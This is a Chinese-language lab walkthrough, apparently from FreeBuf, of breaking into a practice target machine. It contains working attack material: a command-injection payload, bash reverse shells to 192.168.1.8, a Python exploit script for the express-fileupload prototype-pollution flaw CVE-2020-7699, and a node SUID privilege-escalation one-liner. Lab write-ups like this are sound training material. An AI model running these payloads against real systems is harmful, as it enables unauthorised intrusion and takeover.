Arsen
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

一:信息收集
扫描下端口开放情况两个端口都是http服务
2:
访问下两个端口的页面看看
80:8000:
3:没有什么利用点那么分别扫描下各自的目录
80:8000:
似乎看着没啥可以用的
二:漏洞利用
4:那么抓个包吧
首先抓取了80端口的这里看来需要改一下本地HOSTS以及解码一下后面字符串内容
先修改下hosts修改了以后页面出现了时间
盲猜F12的js是获取的时间
来格式化一下F12的js里面的这个链接和抓包的是一样的那么解码一下看是什么
5:识别出来是base58加密解密内容为时间在看了一下请求包确实如此
'+Today is %A, %B %d, %Y %H:%M:%S.'
这个是在参数后拼接上去的
那么拼接一个命令是否存在命令注入呢?base58加密|ls -la 得到5iUbCbe5PE
放包存在命令注入
6:那么现在就需要反弹一个shell
这台靶机存在bash nc 命令bash命令反弹到shell
&bash -c 'exec bash -i &>/dev/tcp/192.168.1.8/666 <&1'
三:提升权限
7:在opt目录找到另一个文件夹但是似乎没有啥利用的这台靶机采用的express,经过查找发现存在express-fileupload中间件 实现文件上传漏洞(CVE-2020-7699)
下面是两篇分析
https://m.tqwba.com/x_d/jishu/170031.html
www.freebuf.com/vuls/246029.html
我们拿到了权限只需要利用这个漏洞提权即可
利用下面这个脚本上传到靶机运行即可提权
`import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.8:777 0>&1"'
requests.post('http://127.0.0.1:7777', files = {'proto.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
requests.get('http://127.0.0.1:7777')
kali开启HTTP服务器功能
python -m SimpleHTTPServer 888
`靶机下载(这里一定要注意只有/tmp 目录下才有写入权限)
运行拿到imera权限
还需要再次提权这里可以采用node SUID提权
sudo node -e 'child_process.spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
拿下
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)